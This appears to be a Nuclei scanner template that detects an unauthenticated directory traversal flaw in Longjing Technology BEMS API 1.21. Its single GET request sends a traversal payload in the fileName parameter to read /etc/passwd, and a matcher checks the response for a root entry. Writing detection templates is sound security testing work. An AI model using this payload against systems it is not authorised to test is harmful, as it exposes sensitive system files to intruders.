id: bems-api-lfi

info:
  name: Longjing Technology BEMS API 1.21 - Arbitrary File Retrieval
  author: gy741
  severity: high
  description: The application suffers from an unauthenticated arbitrary file retrieval vulnerability. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
  tags: lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200